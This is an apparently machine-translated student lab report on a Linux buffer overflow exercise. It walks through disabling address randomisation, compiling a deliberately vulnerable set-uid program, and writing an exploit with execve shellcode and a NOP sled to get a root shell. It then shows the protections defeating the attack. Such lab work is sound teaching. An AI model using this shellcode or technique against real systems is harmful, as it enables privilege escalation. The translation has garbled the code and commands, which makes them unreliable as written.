Linux experiment--Buffer Overflow Vulnerability experiment
20125106
First, the experimental description
A buffer overflow is a scenario in which a program attempts to write to a buffer beyond the pre-allocated fixed-length data. This vulnerability could be exploited by malicious users to alter the flow control of a program, or even execute arbitrary fragments of code. This vulnerability occurs because of a temporary shutdown of the data buffer and the return address, which causes the return address to be rewritten.
II. Preparation of the experiment
The lab building provides 64-bit Ubuntu Linux (System user name Shiyanlou, password Shiyanlou), and this experiment to facilitate the observation of the assembly statements, we need to operate in 32-bit environment, so before the experiment needs to do some preparation.
1. Enter a command to install something that compiles a 32-bit C program:
sudo apt-get update
Figure 1
sudo apt-get install lib32z1 libc6-dev-i386
Figure 2
sudo apt-get install Lib32readline-gplv2-dev
Figure 3
2, enter the command "linux32" into the 32-bit Linux environment, enter "/bin/bash" Use bash, exit Linux32 with exit
Figure 4
Third, the experimental steps
Practice One:
1 Initial Setup
In Ubuntu and some other Linux systems, the initial address of random heap (heap) and stack (stack) is randomized using address space, which makes it difficult to guess the exact memory address, and guessing the memory address is the key to the buffer overflow attack. So in this experiment, we use the following command to turn off this feature:
sudo sysctl-w kernel.randomize_va_space=0
Figure 5
In addition, in order to further protect against buffer overflow attacks and other attacks using shell programs, many shell programs automatically abandon their privileges when called. Therefore, even if you can trick a set-uid program into invoking a shell, you cannot maintain root privileges in the shell, which is implemented in/bin/bash.
In a Linux system,/bin/sh is actually a symbolic link to/bin/bash or/bin/dash. To reproduce the situation before this protective measure was implemented, we used another shell program (zsh) instead of/bin/bash. The following instructions describe how to set up the ZSH program:
sudo su
Cd/bin
RM SH
Ln-s zsh SH
Exit
Figure 6
2 Shellcode
In general, a buffer overflow can cause a program to crash, and in the program, the overflow data overwrites the return address. And if the data that overwrites the return address is another address, then the program jumps to that address, and if the address is a piece of well-designed code to implement other functions, this code is shellcode.
Observe the following code:
#include <stdio.h>
int main ()
{
Char *name[2];
Name[0] = "/bin/sh";
NAME[1] = NULL;
Execve (Name[0], name, NULL);
}
The shellcode of this experiment is the compiled version of the code just now:
\x31\xc0\x50\x68 "//sh" \x68 "/bin" \x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
3 Vulnerability Procedures
Save the following code as a "stack.c" file and save it to the/tmp directory. The code is as follows:
/* STACK.C */
/* This program has a buffer overflow vulnerability. */
/* Our task was to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int BOF (char *str)
{
Char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy (buffer, str);
return 1;
}
int main (int argc, char **argv)
{
Char str[517];
FILE *badfile;
Badfile = fopen ("Badfile", "R");
Fread (str, sizeof (char), 517, badfile);
BOF (str);
printf ("returned properly\n");
return 1;
}
The code lets you know that the program reads a file named "Badfile" and loads the contents of the file into "buffer".
Compile the program, and set the Set-uid. The command is as follows:
sudo su
Gcc-m32-g-Z execstack-fno-stack-protector-o Stack stack.c
chmod U+s Stack
Exit
The GCC compiler has a stack protection mechanism to prevent buffer overflows, so we need to use –fno-stack-protector to close this mechanism when compiling the code. The-Z execstack is used to allow execution of the stack.
Figure 7
4 Attack Program
Our goal is to attack the vulnerability program just now and gain root access through the attack.
Save the following code as a "exploit.c" file and save it to the/tmp directory. The code is as follows:
/* EXPLOIT.C */
/* A program this creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
Char shellcode[]=
"\x31\xc0"//xorl%eax,%eax
"\x50"//PUSHL%eax
"\x68" "//sh"//PUSHL $0x68732f2f
"\x68" "/bin"//PUSHL $0x6e69622f
"\x89\xe3"//movl%esp,%ebx
"\x50"//PUSHL%eax
"\x53"//PUSHL%ebx
"\x89\xe1"//movl%esp,%ecx
"\x99"//CDQ
"\XB0\X0B"//movb $0x0b,%al
"\xcd\x80"//int $0x80
;
void Main (int argc, char **argv)
{
Char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset (&buffer, 0x90, 517);
/* need to fill the buffer with appropriate contents here */
strcpy (buffer, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ X90\x?? \x?? \x?? \x?? ");
strcpy (Buffer+100,shellcode);
/* Save the contents to the file "badfile" */
Badfile = fopen ("./badfile", "w");
fwrite (buffer, 517, 1, badfile);
Fclose (Badfile);
}
Notice the above code, "\x??" \x?? \x?? \x?? " Need to add shellcode to the address stored in memory because the location can overwrite the return address just after an overflow occurs.
and strcpy (Buffer+100,shellcode); This sentence tells us again that Shellcode is stored in the buffer+100 position.
Now we're going to get shellcode in-memory address, enter the command:
GDB Stack
Disass Main
Results
Figure 8
The next steps:
Figure 9
Modify EXPLOIT.C file Now! Then, compile the EXPLOIT.C program:
Gcc-m32-o Exploit exploit.c
5 Attack results
Run the attack program exploit before running the vulnerability stack and observe the results:
Figure 10
Visible, through the attack, get the root permission!
Exercise two:
Through the command "sudo sysctl-w kernel.randomize_va_space=2" to open the system's address space randomization mechanism, repeatedly using the exploit program to attack the stack program, to see if the attack succeeds, can gain root privileges.
Figure 11
As you can see from the diagram, the attack failed without root access.
Exercise Three:
Re-point the/bin/sh to/bin/bash (or/bin/dash) to see if the attack succeeds and root privileges can be obtained.
Figure 12
As we know from the diagram, the attack failed without root access.
Linux experiment--Buffer Overflow Vulnerability experiment